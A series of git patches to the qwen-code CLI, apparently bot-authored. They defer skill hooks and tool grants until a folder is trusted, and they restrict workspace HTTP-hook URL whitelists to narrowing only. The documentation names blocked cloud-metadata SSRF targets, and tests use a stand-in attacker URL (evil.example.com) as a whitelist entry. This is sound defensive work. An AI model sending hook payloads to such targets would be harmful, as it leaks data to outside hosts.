.../src/subagents/subagent-manager.test.ts | 30 ++++ packages/core/src/tools/skill.test.ts | 60 +++++++ packages/core/src/tools/skill.ts | 158 +++++++++++------- 3 files changed, 183 insertions(+), 65 deletions(-) diff --git a/packages/core/src/subagents/subagent-manager.test.ts b/packages/core/src/subagents/subagent-manager.test.ts index 43fc84162d1..7a34c9151f5 100644 --- a/packages/core/src/subagents/subagent-manager.test.ts +++ b/packages/core/src/subagents/subagent-manager.test.ts @@ -2682,6 +2682,36 @@ bad`); await result.dispose(); }); + it('registers hooks for a builtin-level subagent regardless of folder trust', async () => { + // Pins the 'builtin' arm of the allowlist (spelled 'bundled' in the + // sibling skill helper — a future edit dropping the clause must fail + // a test, not silently gate builtin agents' hooks on folder trust). + const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); + vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ + getRegistry: () => ({ addAgentHooks: addAgentHooksSpy }), + } as unknown as ReturnType); + vi.spyOn(mockConfig, 'isTrustedFolder').mockReturnValue(false); + + const result = await manager.createAgentHeadless( + { + ...baseConfig, + level: 'builtin', + hooks: { + PreToolUse: [ + { + matcher: 'Bash', + hooks: [{ type: 'command', command: 'echo' }], + }, + ], + }, + }, + mockConfig, + ); + + expect(addAgentHooksSpy).toHaveBeenCalledTimes(1); + await result.dispose(); + }); + it('fails closed for non-allowlisted levels: session-level hooks need trust too', async () => { const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ diff --git a/packages/core/src/tools/skill.test.ts b/packages/core/src/tools/skill.test.ts index d4add31bcde..baac9a4a46a 100644 --- a/packages/core/src/tools/skill.test.ts +++ b/packages/core/src/tools/skill.test.ts @@ -625,6 +625,41 @@ describe('SkillTool', () => { expect(registerSkillHooks).toHaveBeenCalledTimes(1); }); + + it('registers deferred hooks once the folder becomes trusted mid-session', async () => { + // The gate is "gated UNTIL the folder is trusted": a skill first + // invoked while untrusted must pick up its hooks on re-invocation + // after trust is granted, without waiting for /clear. + vi.mocked(config.isTrustedFolder).mockReturnValue(false); + const getSessionHooksManager = vi.fn().mockReturnValue({}); + vi.mocked(config.getHookSystem).mockReturnValue({ + getSessionHooksManager, + } as unknown as ReturnType); + + const first = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + await first.execute(); + expect(registerSkillHooks).not.toHaveBeenCalled(); + + vi.mocked(config.isTrustedFolder).mockReturnValue(true); + + const second = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + const result = await second.execute(); + + expect(registerSkillHooks).toHaveBeenCalledTimes(1); + // The body is not re-injected — only the side effects are applied. + expect(partToString(result.llmContent)).toContain('already loaded'); + + // Later invocations must not register the hooks a second time. + const third = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + await third.execute(); + expect(registerSkillHooks).toHaveBeenCalledTimes(1); + }); }); describe('allowedTools trust gating', () => { @@ -701,6 +736,31 @@ describe('SkillTool', () => { expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); }); + + it('grants deferred allowedTools once the folder becomes trusted mid-session', async () => { + vi.mocked(config.isTrustedFolder).mockReturnValue(false); + + const first = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'build' }); + await first.execute(); + expect(mockAddSessionAllowRule).not.toHaveBeenCalled(); + + vi.mocked(config.isTrustedFolder).mockReturnValue(true); + + const second = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'build' }); + await second.execute(); + expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); + + // Later invocations must not grant the rules a second time. + const third = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'build' }); + await third.execute(); + expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); + }); }); describe('refreshSkills', () => { diff --git a/packages/core/src/tools/skill.ts b/packages/core/src/tools/skill.ts index de860f18962..692eaa7b177 100644 --- a/packages/core/src/tools/skill.ts +++ b/packages/core/src/tools/skill.ts @@ -99,6 +99,11 @@ export class SkillTool extends BaseDeclarativeTool { description: string; }> = []; private loadedSkillNames: Set = new Set(); + // Skills whose allowedTools/hooks were skipped by the folder-trust gate + // on first load. The gate is live (isTrustedFolder() re-reads on every + // call), so the early-return path re-applies them once the folder + // becomes trusted mid-session instead of requiring /clear. + private deferredSideEffectSkillNames: Set = new Set(); // Cleanup function returned by `addChangeListener`. Stored so per-agent // SkillTool instances (subagents share the parent's SkillManager) can // detach their listener at teardown — without this the SkillManager @@ -254,6 +259,7 @@ export class SkillTool extends BaseDeclarativeTool { (name: string) => this.loadedSkillNames.add(name), this.config.getModelInvocableCommandsExecutor(), (name: string) => this.loadedSkillNames.has(name), + this.deferredSideEffectSkillNames, ); } @@ -282,6 +288,7 @@ export class SkillTool extends BaseDeclarativeTool { */ clearLoadedSkills(): void { this.loadedSkillNames.clear(); + this.deferredSideEffectSkillNames.clear(); } /** @@ -316,6 +323,7 @@ class SkillToolInvocation extends BaseToolInvocation { ) => Promise) | null = null, private readonly isSkillLoaded: (name: string) => boolean = () => false, + private readonly deferredSideEffectSkillNames: Set = new Set(), ) { super(params); } @@ -354,6 +362,79 @@ class SkillToolInvocation extends BaseToolInvocation { } } + /** + * Applies a loaded skill's repo-supplied side effects — allowedTools + * grants and hook registration — unless the folder-trust gate defers + * them. allowedTools become session-wide permission auto-approvals, and + * hooks are code execution (the same gate Config.getProjectHooks() + * applies to settings-file hooks). Fail closed: only levels that cannot + * originate from the repository skip the gate. Returns true when the + * side effects were deferred, so the caller can re-apply them on a + * later invocation once the folder becomes trusted. + */ + private applySkillSideEffects(skill: SkillConfig): boolean { + const sideEffectsGated = + !isTrustedSkillLevel(skill.level) && !this.config.isTrustedFolder(); + + if (sideEffectsGated) { + if (skill.allowedTools?.length) { + debugLogger.warn( + `Skill "${this.params.skill}" declares allowedTools but the folder is not trusted; ignoring skill allowedTools.`, + ); + } + } else { + // Auto-approve the skill's declared allowedTools for the rest of the session. + applySkillAllowedTools( + this.config.getPermissionManager(), + skill.allowedTools, + ); + } + + // Register skill hooks if present + debugLogger.debug('Skill hooks check:', { + hasHooks: !!skill.hooks, + hooksKeys: skill.hooks ? Object.keys(skill.hooks) : [], + skillName: skill.name, + }); + if (skill.hooks) { + if (sideEffectsGated) { + if (Object.keys(skill.hooks).length > 0) { + debugLogger.warn( + `Skill "${this.params.skill}" declares hooks but the folder is not trusted; ignoring skill hooks.`, + ); + } + } else { + const hookSystem = this.config.getHookSystem(); + const sessionId = this.config.getSessionId(); + debugLogger.debug('Hook system and session:', { + hasHookSystem: !!hookSystem, + sessionId, + }); + if (hookSystem && sessionId) { + const sessionHooksManager = hookSystem.getSessionHooksManager(); + const hookCount = registerSkillHooks( + sessionHooksManager, + sessionId, + skill, + ); + if (hookCount > 0) { + debugLogger.info( + `Registered ${hookCount} hooks from skill "${this.params.skill}"`, + ); + } else { + debugLogger.warn( + `No hooks registered from skill "${this.params.skill}"`, + ); + } + } + } + } else { + debugLogger.warn(`Skill "${this.params.skill}" has no hooks to register`); + } + + return sideEffectsGated; + } + async execute( _signal?: AbortSignal, _updateOutput?: (output: ToolResultDisplay) => void, @@ -510,6 +591,16 @@ class SkillToolInvocation extends BaseToolInvocation { if (this.isSkillLoaded(this.params.skill)) { this.onSkillLoaded(this.params.skill); void this.recordAutoSkillUsageBestEffort(skill); + // Side effects skipped by the trust gate on first load are applied + // on re-invocation once the folder becomes trusted (the gate is + // live), without re-injecting the skill body into context. + if ( + this.deferredSideEffectSkillNames.has(this.params.skill) && + this.config.isTrustedFolder() + ) { + this.applySkillSideEffects(skill); + this.deferredSideEffectSkillNames.delete(this.params.skill); + } const msg = `Skill "${this.params.skill}" is already loaded in context.`; return { llmContent: msg, @@ -519,71 +610,8 @@ class SkillToolInvocation extends BaseToolInvocation { this.onSkillLoaded(this.params.skill); - // Project skills are discovered regardless of folder trust, but - // repo-supplied side effects are gated until the folder is trusted: - // allowedTools become session-wide permission auto-approvals, and - // hooks are code execution (the same gate Config.getProjectHooks() - // applies to settings-file hooks). Fail closed: only levels that - // cannot originate from the repository skip the gate. - const sideEffectsGated = - !isTrustedSkillLevel(skill.level) && !this.config.isTrustedFolder(); - - if (sideEffectsGated) { - if (skill.allowedTools?.length) { - debugLogger.warn( - `Skill "${this.params.skill}" declares allowedTools but the folder is not trusted; ignoring skill allowedTools.`, - ); - } - } else { - // Auto-approve the skill's declared allowedTools for the rest of the session. - applySkillAllowedTools( - this.config.getPermissionManager(), - skill.allowedTools, - ); - } - - // Register skill hooks if present - debugLogger.debug('Skill hooks check:', { - hasHooks: !!skill.hooks, - hooksKeys: skill.hooks ? Object.keys(skill.hooks) : [], - skillName: skill.name, - }); - if (skill.hooks) { - if (sideEffectsGated) { - if (Object.keys(skill.hooks).length > 0) { - debugLogger.warn( - `Skill "${this.params.skill}" declares hooks but the folder is not trusted; ignoring skill hooks.`, - ); - } - } else { - const hookSystem = this.config.getHookSystem(); - const sessionId = this.config.getSessionId(); - debugLogger.debug('Hook system and session:', { - hasHookSystem: !!hookSystem, - sessionId, - }); - if (hookSystem && sessionId) { - const sessionHooksManager = hookSystem.getSessionHooksManager(); - const hookCount = registerSkillHooks( - sessionHooksManager, - sessionId, - skill, - ); - if (hookCount > 0) { - debugLogger.info( - `Registered ${hookCount} hooks from skill "${this.params.skill}"`, - ); - } else { - debugLogger.warn( - `No hooks registered from skill "${this.params.skill}"`, - ); - } - } - } - } else { - debugLogger.warn( - `Skill "${this.params.skill}" has no hooks to register`, - ); + if (this.applySkillSideEffects(skill)) { + this.deferredSideEffectSkillNames.add(this.params.skill); } const baseDir = path.dirname(skill.filePath); From fb7b426e4d18abc628a2031f2e73c9d2f5464f99 Mon Sep 17 00:00:00 2001 From: qwen-code-ci-bot Date: Tue, 4 Aug 2026 03:31:50 +0000 Subject: [PATCH 14/21] fix(core): honor skill side-effect deferral contract, pin invariants in tests (#8396) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Re-invocation now drops the deferred entry only when applySkillSideEffects reports the side effects were applied, instead of duplicating the trust check — still-untrusted re-invocations keep the deferral alive by contract - Reword the trust-gate warns from "ignoring" to "deferring" (the effects are applied once the folder becomes trusted) and log when deferred side effects are applied - Add tests pinning: clearLoadedSkills clears the deferred set, untrusted re-invocation retains it, and trust-passing first loads never enter it --- packages/core/src/tools/skill.test.ts | 136 ++++++++++++++++++++++++++ packages/core/src/tools/skill.ts | 14 ++- 2 files changed, 145 insertions(+), 5 deletions(-) diff --git a/packages/core/src/tools/skill.test.ts b/packages/core/src/tools/skill.test.ts index baac9a4a46a..e7bf42cecc3 100644 --- a/packages/core/src/tools/skill.test.ts +++ b/packages/core/src/tools/skill.test.ts @@ -660,6 +660,97 @@ describe('SkillTool', () => { await third.execute(); expect(registerSkillHooks).toHaveBeenCalledTimes(1); }); + + it('registers hooks exactly once when a trusted skill is re-invoked', async () => { + // A trust-passing first load applies side effects immediately and must + // not enter the deferred set — otherwise re-invocation would hit the + // re-apply branch and register the hooks a second time (no dedup). + vi.mocked(config.isTrustedFolder).mockReturnValue(true); + const getSessionHooksManager = vi.fn().mockReturnValue({}); + vi.mocked(config.getHookSystem).mockReturnValue({ + getSessionHooksManager, + } as unknown as ReturnType); + + const first = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + await first.execute(); + expect(registerSkillHooks).toHaveBeenCalledTimes(1); + + const second = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + const result = await second.execute(); + expect(partToString(result.llmContent)).toContain('already loaded'); + expect(registerSkillHooks).toHaveBeenCalledTimes(1); + }); + + it('keeps the deferral alive when re-invoked while still untrusted', async () => { + // A re-invocation before trust is granted must retain the deferred + // entry; dropping it would lose the hooks for the rest of the session + // even after the folder becomes trusted. + vi.mocked(config.isTrustedFolder).mockReturnValue(false); + const getSessionHooksManager = vi.fn().mockReturnValue({}); + vi.mocked(config.getHookSystem).mockReturnValue({ + getSessionHooksManager, + } as unknown as ReturnType); + + const first = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + await first.execute(); + expect(registerSkillHooks).not.toHaveBeenCalled(); + + const second = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + const result = await second.execute(); + expect(partToString(result.llmContent)).toContain('already loaded'); + expect(registerSkillHooks).not.toHaveBeenCalled(); + + vi.mocked(config.isTrustedFolder).mockReturnValue(true); + + const third = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + await third.execute(); + expect(registerSkillHooks).toHaveBeenCalledTimes(1); + }); + + it('clears deferred side effects on clearLoadedSkills so a fresh load registers hooks once', async () => { + // /clear resets both tracking sets. A stale deferred entry would make + // the next re-invocation re-apply side effects on top of the fresh + // load's registration, and registerSkillHooks has no dedup. + vi.mocked(config.isTrustedFolder).mockReturnValue(false); + const getSessionHooksManager = vi.fn().mockReturnValue({}); + vi.mocked(config.getHookSystem).mockReturnValue({ + getSessionHooksManager, + } as unknown as ReturnType); + + const first = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + await first.execute(); + expect(registerSkillHooks).not.toHaveBeenCalled(); + + vi.mocked(config.isTrustedFolder).mockReturnValue(true); + skillTool.clearLoadedSkills(); + + const second = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + const result2 = await second.execute(); + // After /clear the skill loads fresh (full body), not via the dedup path. + expect(partToString(result2.llmContent)).toContain('Body.'); + expect(registerSkillHooks).toHaveBeenCalledTimes(1); + + const third = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + const result3 = await third.execute(); + expect(partToString(result3.llmContent)).toContain('already loaded'); + expect(registerSkillHooks).toHaveBeenCalledTimes(1); + }); }); describe('allowedTools trust gating', () => { @@ -761,6 +852,51 @@ describe('SkillTool', () => { await third.execute(); expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); }); + + it('grants allowedTools exactly once when a trusted skill is re-invoked', async () => { + // A trust-passing first load applies the grants immediately and must + // not enter the deferred set — otherwise re-invocation would hit the + // re-apply branch and duplicate the allow rules. + vi.mocked(config.isTrustedFolder).mockReturnValue(true); + + const first = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'build' }); + await first.execute(); + expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); + + const second = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'build' }); + await second.execute(); + expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); + }); + + it('keeps the deferral alive when re-invoked while still untrusted', async () => { + // Mirrors the hooks-side retention test: the shared deferred set must + // survive still-untrusted re-invocations. + vi.mocked(config.isTrustedFolder).mockReturnValue(false); + + const first = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'build' }); + await first.execute(); + expect(mockAddSessionAllowRule).not.toHaveBeenCalled(); + + const second = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'build' }); + await second.execute(); + expect(mockAddSessionAllowRule).not.toHaveBeenCalled(); + + vi.mocked(config.isTrustedFolder).mockReturnValue(true); + + const third = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'build' }); + await third.execute(); + expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); + }); }); describe('refreshSkills', () => { diff --git a/packages/core/src/tools/skill.ts b/packages/core/src/tools/skill.ts index 692eaa7b177..f66895e1c10 100644 --- a/packages/core/src/tools/skill.ts +++ b/packages/core/src/tools/skill.ts @@ -379,7 +379,7 @@ class SkillToolInvocation extends BaseToolInvocation { if (sideEffectsGated) { if (skill.allowedTools?.length) { debugLogger.warn( - `Skill "${this.params.skill}" declares allowedTools but the folder is not trusted; ignoring skill allowedTools.`, + `Skill "${this.params.skill}" declares allowedTools but the folder is not trusted; deferring skill allowedTools until the folder is trusted.`, ); } } else { @@ -400,7 +400,7 @@ class SkillToolInvocation extends BaseToolInvocation { if (sideEffectsGated) { if (Object.keys(skill.hooks).length > 0) { debugLogger.warn( - `Skill "${this.params.skill}" declares hooks but the folder is not trusted; ignoring skill hooks.`, + `Skill "${this.params.skill}" declares hooks but the folder is not trusted; deferring skill hooks until the folder is trusted.`, ); } } else { @@ -593,13 +593,17 @@ class SkillToolInvocation extends BaseToolInvocation { void this.recordAutoSkillUsageBestEffort(skill); // Side effects skipped by the trust gate on first load are applied // on re-invocation once the folder becomes trusted (the gate is - // live), without re-injecting the skill body into context. + // live), without re-injecting the skill body into context. Drop the + // entry only once the side effects were actually applied, so + // still-untrusted re-invocations keep the deferral alive. if ( this.deferredSideEffectSkillNames.has(this.params.skill) && - this.config.isTrustedFolder() + !this.applySkillSideEffects(skill) ) { - this.applySkillSideEffects(skill); this.deferredSideEffectSkillNames.delete(this.params.skill); + debugLogger.info( + `Applied deferred side effects for skill "${this.params.skill}" (folder is now trusted).`, + ); } const msg = `Skill "${this.params.skill}" is already loaded in context.`; return { From b10ec554191a7bc5e0e01469e02a5156490a5929 Mon Sep 17 00:00:00 2001 From: qwen-code-dev-bot Date: Tue, 4 Aug 2026 07:20:16 +0000 Subject: [PATCH 15/21] fix(cli): remap core envVarResolver subpath in dev loader (#8396) --- scripts/dev.js | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/scripts/dev.js b/scripts/dev.js index 34e5e5d50c8..f616aaf2fc5 100755 --- a/scripts/dev.js +++ b/scripts/dev.js @@ -67,11 +67,19 @@ const loaderPath = join(tmpDir, 'loader.mjs'); const coreSourcePath = join(root, 'packages', 'core', 'index.ts'); const coreSourceUrl = pathToFileURL(coreSourcePath).href; +// Core's package.json maps subpath exports (e.g. ./envVarResolver) to built +// files under packages/core/dist, which a fresh checkout does not have. The +// bare-specifier remap below does not cover subpaths, so each one cli source +// imports needs its own remap to the source file. +const envVarResolverSourceUrl = pathToFileURL( + join(root, 'packages', 'core', 'src', 'utils', 'envVarResolver.ts'), +).href; const loaderCode = ` import { pathToFileURL } from 'node:url'; const coreSourceUrl = '${coreSourceUrl}'; +const envVarResolverSourceUrl = '${envVarResolverSourceUrl}'; export function resolve(specifier, context, nextResolve) { if (specifier === '@qwen-code/qwen-code-core') { @@ -81,6 +89,13 @@ export function resolve(specifier, context, nextResolve) { format: 'module', }; } + if (specifier === '@qwen-code/qwen-code-core/envVarResolver') { + return { + shortCircuit: true, + url: envVarResolverSourceUrl, + format: 'module', + }; + } return nextResolve(specifier, context); } `; From 502a8aa317acdb4414f37750ee39b700aafcc96c Mon Sep 17 00:00:00 2001 From: qwen-code-dev-bot Date: Tue, 4 Aug 2026 15:33:34 +0000 Subject: [PATCH 16/21] fix(hooks): workspace whitelist may only narrow; trust session subagents (#8396) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses the merge-blocking review findings: - Intersect instead of strip: security.allowedHttpHookUrls set in Workspace scope now narrows the effective User/System/SystemDefaults whitelist instead of being discarded. The old unconditional strip turned a workspace list that only narrowed destinations into "allow all" (empty whitelist semantics), a net widening that never reached daemon users because getSettingsWarnings only surfaces in the TUI. Workspace entries no higher-scope entry covers are dropped; when no higher-scope whitelist exists, or nothing survives the intersection, the higher-scope policy stands unchanged — never unrestricted. The boolean allowPrivateNetworkHooks bypass is still stripped outright, and the fix lives in the settings merge, so serve/daemon/ACP consumers get it too. Warning, schema description, and docs updated to the new semantics. - Add 'session' to the trusted subagent-hook levels: session agents are supplied by the embedding host (SDK agents option or the control protocol), never loaded from repository files, so gating their hooks on folder trust only broke programmatic consumers. Fail-closed for unknown/future levels is pinned by a new test. - Name blocked internal-secret variables in a debugLogger.warn from interpolateEnvVars: the silent '' substitution was the one denylist behavior with no diagnostic signal (the value itself is never logged). --- docs/users/features/hooks.md | 2 +- packages/cli/src/config/settings.test.ts | 145 +++++++++++++++++- packages/cli/src/config/settings.ts | 103 +++++++++---- packages/cli/src/config/settingsSchema.ts | 2 +- .../core/src/hooks/envInterpolator.test.ts | 29 +++- packages/core/src/hooks/envInterpolator.ts | 11 +- packages/core/src/hooks/index.ts | 6 +- packages/core/src/hooks/urlValidator.test.ts | 79 +++++++++- packages/core/src/hooks/urlValidator.ts | 28 ++++ packages/core/src/index.ts | 1 + .../src/subagents/subagent-manager.test.ts | 36 ++++- .../core/src/subagents/subagent-manager.ts | 17 +- .../schemas/settings.schema.json | 2 +- 13 files changed, 409 insertions(+), 52 deletions(-) diff --git a/docs/users/features/hooks.md b/docs/users/features/hooks.md index 003ffc57e73..3b32bc1f065 100644 --- a/docs/users/features/hooks.md +++ b/docs/users/features/hooks.md @@ -117,7 +117,7 @@ By default, HTTP hooks cannot target private or link-local IP ranges. In platfor - This setting is **only honored from User, System, and SystemDefaults settings scopes**. A value set in Workspace (project) settings is ignored and logged as a warning, so a cloned repository can never self-grant this bypass. - The flag relaxes only the general private/CGNAT/link-local **range** checks. Cloud metadata endpoints stay blocked in every configuration: the `BLOCKED_HOSTS` list is matched literally (`metadata.google.internal`, `metadata.azure.internal`, ...), and the metadata IPs `169.254.169.254` and `100.100.100.200` are blocked in all serialized forms (including IPv4-mapped IPv6 such as `::ffff:a9fe:a9fe`) and after DNS resolution. -- The `security.allowedHttpHookUrls` whitelist still applies independently. In managed environments, pair this flag with a whitelist so only the intended internal endpoints are reachable. Like this flag, the whitelist is **only honored from User, System, and SystemDefaults settings scopes**; a value set in Workspace (project) settings is ignored and logged as a warning, so a cloned repository can neither widen where hook payloads may be sent nor replace the user's whitelist. Note the strip is strict in both directions: a workspace whitelist that only _narrows_ allowed URLs is ignored as well, so if no higher scope sets a whitelist, HTTP hooks may reach any host the SSRF protections allow. To keep a narrowing whitelist in effect, move it to your user settings. +- The `security.allowedHttpHookUrls` whitelist still applies independently. In managed environments, pair this flag with a whitelist so only the intended internal endpoints are reachable. Like this flag, the whitelist is **only honored from User, System, and SystemDefaults settings scopes**; a value set in Workspace (project) settings can only _narrow_ the higher-scope whitelist and is logged as a warning: workspace entries that no higher-scope entry covers are dropped, and when no higher scope sets a whitelist the workspace value is ignored entirely (an empty whitelist means "allow all", so a repository can neither widen where hook payloads may be sent nor establish a whitelist of its own). > **Warning:** Enabling this flag lets hooks reach internal infrastructure on your network. Enable it only in trusted, managed settings — never in a repository you do not control. diff --git a/packages/cli/src/config/settings.test.ts b/packages/cli/src/config/settings.test.ts index 3582e0666c5..de0e60f188b 100644 --- a/packages/cli/src/config/settings.test.ts +++ b/packages/cli/src/config/settings.test.ts @@ -3321,6 +3321,141 @@ describe('Settings Loading and Merging', () => { ]); }); + it('should let a trusted workspace whitelist narrow the user whitelist', () => { + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === USER_SETTINGS_PATH) + return JSON.stringify({ + security: { allowedHttpHookUrls: ['https://hooks.corp.com/*'] }, + }); + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ + security: { + allowedHttpHookUrls: ['https://hooks.corp.com/ci/*'], + }, + }); + return '{}'; + }, + ); + + const settings = loadSettings(MOCK_WORKSPACE_DIR); + // The workspace entry is covered by the user's pattern, so it + // narrows the effective whitelist instead of being dropped. + expect(settings.merged.security?.allowedHttpHookUrls).toEqual([ + 'https://hooks.corp.com/ci/*', + ]); + }); + + it('should drop workspace whitelist entries not covered by the user whitelist', () => { + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === USER_SETTINGS_PATH) + return JSON.stringify({ + security: { allowedHttpHookUrls: ['https://hooks.corp.com/*'] }, + }); + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ + security: { + allowedHttpHookUrls: [ + 'https://hooks.corp.com/ci/*', + 'https://evil.example.com/*', + ], + }, + }); + return '{}'; + }, + ); + + const settings = loadSettings(MOCK_WORKSPACE_DIR); + expect(settings.merged.security?.allowedHttpHookUrls).toEqual([ + 'https://hooks.corp.com/ci/*', + ]); + }); + + it('should fall back to the user whitelist when no workspace entry is covered', () => { + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === USER_SETTINGS_PATH) + return JSON.stringify({ + security: { allowedHttpHookUrls: ['https://hooks.corp.com/*'] }, + }); + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ + security: { + allowedHttpHookUrls: ['https://evil.example.com/*'], + }, + }); + return '{}'; + }, + ); + + const settings = loadSettings(MOCK_WORKSPACE_DIR); + // An empty intersection must mean "the user's policy stands", never + // "allow all" — the user's whitelist survives unchanged. + expect(settings.merged.security?.allowedHttpHookUrls).toEqual([ + 'https://hooks.corp.com/*', + ]); + }); + + it('should ignore a workspace whitelist when the user whitelist is explicitly empty', () => { + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === USER_SETTINGS_PATH) + return JSON.stringify({ + security: { allowedHttpHookUrls: [] }, + }); + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ + security: { + allowedHttpHookUrls: ['https://hooks.example.com/*'], + }, + }); + return '{}'; + }, + ); + + const settings = loadSettings(MOCK_WORKSPACE_DIR); + // An explicit empty user whitelist means "allow all"; the workspace + // may not establish policy on top of it. + expect(settings.merged.security?.allowedHttpHookUrls).toEqual([]); + }); + + it('should let the system whitelist override workspace narrowing', () => { + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === USER_SETTINGS_PATH) + return JSON.stringify({ + security: { allowedHttpHookUrls: ['https://hooks.corp.com/*'] }, + }); + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ + security: { + allowedHttpHookUrls: ['https://hooks.corp.com/ci/*'], + }, + }); + if (p === getSystemSettingsPath()) + return JSON.stringify({ + security: { + allowedHttpHookUrls: ['https://managed.example.com/*'], + }, + }); + return '{}'; + }, + ); + + const settings = loadSettings(MOCK_WORKSPACE_DIR); + // System scope is the final override: admin policy wins over both + // the user list and any workspace narrowing. + expect(settings.merged.security?.allowedHttpHookUrls).toEqual([ + 'https://managed.example.com/*', + ]); + }); + it('should warn when workspace settings define security.allowPrivateNetworkHooks', () => { (mockFsExistsSync as Mock).mockReturnValue(true); (fs.readFileSync as Mock).mockImplementation( @@ -3360,10 +3495,12 @@ describe('Settings Loading and Merging', () => { w.includes('security.allowedHttpHookUrls'), ); expect(warning).toBeDefined(); - // An empty whitelist means "allow all", so the warning must say the - // strip can widen the effective policy, not read as neutral. - expect(warning).toContain('now unrestricted'); - expect(warning).toContain('user settings'); + // The workspace list may only narrow a higher-scope whitelist; the + // warning must explain that uncovered entries are dropped and what + // happens when no higher-scope whitelist exists ("allow all" still + // applies then), so neither case reads as neutral. + expect(warning).toContain('can only narrow'); + expect(warning).toContain('unrestricted apart from SSRF protection'); }); it('should not warn about stripped security fields when workspace settings do not define them', () => { diff --git a/packages/cli/src/config/settings.ts b/packages/cli/src/config/settings.ts index 5261ba271dd..7514a13cf93 100644 --- a/packages/cli/src/config/settings.ts +++ b/packages/cli/src/config/settings.ts @@ -14,6 +14,7 @@ import { Storage, createDebugLogger, stripRuntimeSnapshotPrefix, + hookUrlPatternCovers, } from '@qwen-code/qwen-code-core'; import type { MCPServerConfig, @@ -320,9 +321,10 @@ function getModelProvidersOverrideWarnings( ]; } -// Security settings that must never be honored from Workspace scope; they -// are stripped during the merge (see stripWorkspaceHookSecurityOverrides) -// and getSettingsWarnings reports them. +// Hook security settings a Workspace scope may never widen. The boolean +// SSRF bypass is stripped outright; the URL whitelist is intersected with +// the higher-scope list so a workspace can only narrow it (see +// narrowWorkspaceHookSecurityOverrides). getSettingsWarnings reports both. const WORKSPACE_STRIPPED_SECURITY_FIELDS = [ 'allowPrivateNetworkHooks', 'allowedHttpHookUrls', @@ -366,24 +368,21 @@ export function getSettingsWarnings(loadedSettings: LoadedSettings): string[] { warningSet.add(warning); } - // WORKSPACE_STRIPPED_SECURITY_FIELDS are stripped from Workspace scope - // during the merge; warn so the user knows their workspace setting has no - // effect. + // WORKSPACE_STRIPPED_SECURITY_FIELDS may not widen hook security from + // Workspace scope (see narrowWorkspaceHookSecurityOverrides); warn so the + // user knows how their workspace setting is treated. const workspaceFile = loadedSettings.forScope(SettingScope.Workspace); if (workspaceFile.rawJson !== undefined) { - for (const field of WORKSPACE_STRIPPED_SECURITY_FIELDS) { - if (workspaceFile.originalSettings.security?.[field] !== undefined) { - // An empty whitelist means "allow all" to the hook URL validator, - // so stripping a workspace list that only narrowed destinations - // can widen the effective policy — say that explicitly. - const wideningNote = - field === 'allowedHttpHookUrls' - ? ' If it was your only whitelist, HTTP hook URLs are now unrestricted (SSRF protections still apply); move the list to your user settings to keep it in effect.' - : ''; - warningSet.add( - `Warning: security.${field} in workspace settings (${workspaceFile.path}) is ignored. This setting is only honored from User, System, or SystemDefaults scope settings.${wideningNote}`, - ); - } + const workspaceSecurity = workspaceFile.originalSettings.security; + if (workspaceSecurity?.allowPrivateNetworkHooks !== undefined) { + warningSet.add( + `Warning: security.allowPrivateNetworkHooks in workspace settings (${workspaceFile.path}) is ignored. This setting is only honored from User, System, or SystemDefaults scope settings.`, + ); + } + if (workspaceSecurity?.allowedHttpHookUrls !== undefined) { + 